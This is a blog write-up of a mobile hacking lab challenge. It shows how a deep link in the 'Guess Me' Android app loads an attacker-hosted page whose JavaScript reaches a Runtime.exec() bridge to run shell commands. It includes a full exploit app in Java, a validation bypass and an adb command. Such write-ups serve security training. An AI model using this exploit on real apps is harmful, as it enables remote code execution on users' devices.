June 29, 2026
From Deep Link to Shell: Easy $3000 Android Crits.
Akwaaba! gang, another part of my Static Android App Hacking series, today our focus is on exploiting Deep Links to achieve RCE. An easy…

By tinopreter
6 min read
Akwaaba! gang, another part of my Static Android App Hacking series, today our focus is on exploiting Deep Links to achieve RCE. An easy $2000 Web Cache Deception bug made simple for you to replicate.
Deep Links
Deep links function like URLs that navigate users directly to a specific screen or section within a mobile app.
Our aim in this attack is to manipulate the deep link functionality in the "Guess Me" Android app, allowing you to execute remote code and gain unauthorized access. This a number guessing game app that utilizes deep links.
I also took time to explain how to identify and Exploit Android Intent Redirection to steal contact info or LFI.
Using the App to Understand what It does
It is a number guessing game where we have 2 attempts to guess the right number generated and hidden by the app.
On my first try, guessing 12 triggered an error indicating the number was too high, while guessing 1 turned out to be correct. The guess attempts were logged, and the correct answer was found in just two tries (pure luck!).
Tapping the New Game button launches an activity where a new game session begins. Selecting the Information icon navigates to a Thank You page, which displays the time of visit along with an embedded hyperlink in a WebView. Clicking this link opens the Mobile Hacking Lab website within the same WebView. Finally, the Exit button closes the application. These are the core functionalities of the app.
Read how I Exploited a Content Provider to acheive a PIN brute force.
Reverse Engineering to read Source Code
No sensitive information was found in Logcat, so the source code was reviewed in Jadx-GUI instead. In addition to the MainActivity, there is a WebViewActivity which is exported and configured to handle deep links via the <data> tag. Specifically, any URL with the scheme mhl and host mobilehackinglab will be opened within this WebView.
Checking the MainActivity code, we see the Information icon on the button right is actually an ImageButton which upon clicking launches the WebView activity.
Upon reviewing the WebViewActivity code, we observe the initialization of a WebView along with its settings, where JavaScript is explicitly enabled. A JavaScriptInterface named AndroidBridge is also added, allowing JavaScript running in the WebView to interact with the Android code.
Additionally, a WebChromeClient is set, providing the developer with greater control over browser behavior, such as handling link clicks, page loads, and other web interactions. When a deep link intent is received, the loadAssetIndex() method is invoked first, followed by the handleDeepLink() method, which processes the intent.
The handleDeepLink() method invokes two other methods: isValidDeepLink() and loadDeepLink(). The isValidDeepLink() function checks whether the URI in the incoming intent uses either the mhl or https scheme and has the host mobilehackinglab. If these conditions are met, it extracts the url query parameter from the intent's data URI and verifies that it ends with mobilehackinglab.com. If valid, this url parameter (not the original deep link itself) is passed to loadDeepLink(), which then loads it in the WebView. The actual content loaded is determined by the url parameter within the deep link, not the deep link directly.
Within the same WebViewActivity, the JavaScriptInterface class is defined, exposing two methods to the WebView's JavaScript context. The first, loadWebsite(url), accepts a URL as an argument and loads it directly in the WebView. The second, getTime(Time), is more concerning, it takes a Time argument and dangerously passes it to Runtime.getRuntime().exec(), executing it as a system command. The output of this command is then read using a BufferedReader and returned.
The loadAssetIndex() method, which is invoked by default, loads a local HTML file from the app's assets folder. This file contains the Thank You page that appears when the Info image button is clicked.
Upon inspecting the local HTML file, we find a Thank You message along with a hyperlink element that triggers a loadWebsite() function via its onClick handler. This loadWebsite() is different from the one defined in the JavaScriptInterface. It takes no arguments and is implemented in the inline JavaScript below. This version simply redirects the browser to the Mobile Hacking Lab website using window.location.
Also, the script defines a result variable that interacts with the AndroidBridge interface by calling its getTime() method, passing the OS command date as an argument. This command is executed via Runtime.getRuntime().exec() on the Android side. The output is read into an array, and the first element of that array is displayed on the HTML page.
Hack into IoT devices via Broadcast Receivers by reading code.
Exploiting the Vulnerability
To exploit this vulnerability, an attacker can host a custom HTML page containing JavaScript that interacts with the exposed getTime() method from the JavaScriptInterface. By invoking AndroidBridge.getTime("id"), the script passes the id command to the Android runtime, which executes it via a shell. The output (specifically the first line) is captured and rendered on the attacker's page.
The intrinsic validation logic in the isValidDeepLink() method checks whether the incoming intent's data URI contains either a valid scheme (mhl or https) or the expected host (mobilehackinglab). We have to craft a link that satisfies these conditions.
Coding an Exploit App
To begin crafting the exploit app, we construct a URI that satisfies the app's deep link validation logic. We use a valid scheme (mhl) and the expected host (mobilehackinglab) to pass the initial checks.
For the url query parameter (which is the actual content loaded into the WebView), we supply a link to our hosted malicious HTML page. Since the app further validates that the url parameter ends with mobilehackinglab.com, we can bypass this by appending a legitimate-looking suffix using a separator like ?, #, or its URL-encoded form %23.
public class MainActivity extends AppCompatActivity {
protected void onCreate(Bundle savedInstanceState) {
// Submit URL on Button Click
btn_exploit.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.i("ExploitBtn", "Exploit Button Clicked!");
Intent intent = new Intent();
intent.setClassName(
"com.mobilehackinglab.guessme",
"com.mobilehackinglab.guessme.WebviewActivity"
);
intent.setData(Uri.parse(
"mhl://mobilehackinglab?url=http://192.168.205.253:1337/exploit.html?mobilehackinglab.com"
));
startActivity(intent);
Log.i("IntentData", intent.getData().toString());
Toast.makeText(MainActivity.this, "Intent Sent", Toast.LENGTH_SHORT).show();
}
});
}
}public class MainActivity extends AppCompatActivity {
protected void onCreate(Bundle savedInstanceState) {
// Submit URL on Button Click
btn_exploit.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.i("ExploitBtn", "Exploit Button Clicked!");
Intent intent = new Intent();
intent.setClassName(
"com.mobilehackinglab.guessme",
"com.mobilehackinglab.guessme.WebviewActivity"
);
intent.setData(Uri.parse(
"mhl://mobilehackinglab?url=http://192.168.205.253:1337/exploit.html?mobilehackinglab.com"
));
startActivity(intent);
Log.i("IntentData", intent.getData().toString());
Toast.makeText(MainActivity.this, "Intent Sent", Toast.LENGTH_SHORT).show();
}
});
}
}
Run the malicious app and upon clicking exploit, it launches the GuessMe app and our malicious HTML page loads with the output of the OS command id in the WebView.
We can see the request the app made to our server via the web server's access logs.
Learn how to abuse Pending Intent Misconfigured Android App Notifications
Triggering the Same Exploit but with ADB
This exploit can be achieved via ADB Shell with command:
adb shell am start -n com.mobilehackinglab.guessme/.WebViewActivity -a android.intent.action.VIEW -d "mhl://mobilehackinglab?url=http://192.168.x.x/exploit.html%23mobilehackinglab.com" -Wadb shell am start -n com.mobilehackinglab.guessme/.WebViewActivity -a android.intent.action.VIEW -d "mhl://mobilehackinglab?url=http://192.168.x.x/exploit.html%23mobilehackinglab.com" -W
Submitting your methodology and evidence of exploit to their team would see you get a cool looking certificate after a 24hr review window.
IDORs are an easy $500 if you simply know which UUIDs to swap.
Hey…bye
Thanks for reading this, if you have any questions, you can DM me on Twitter @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.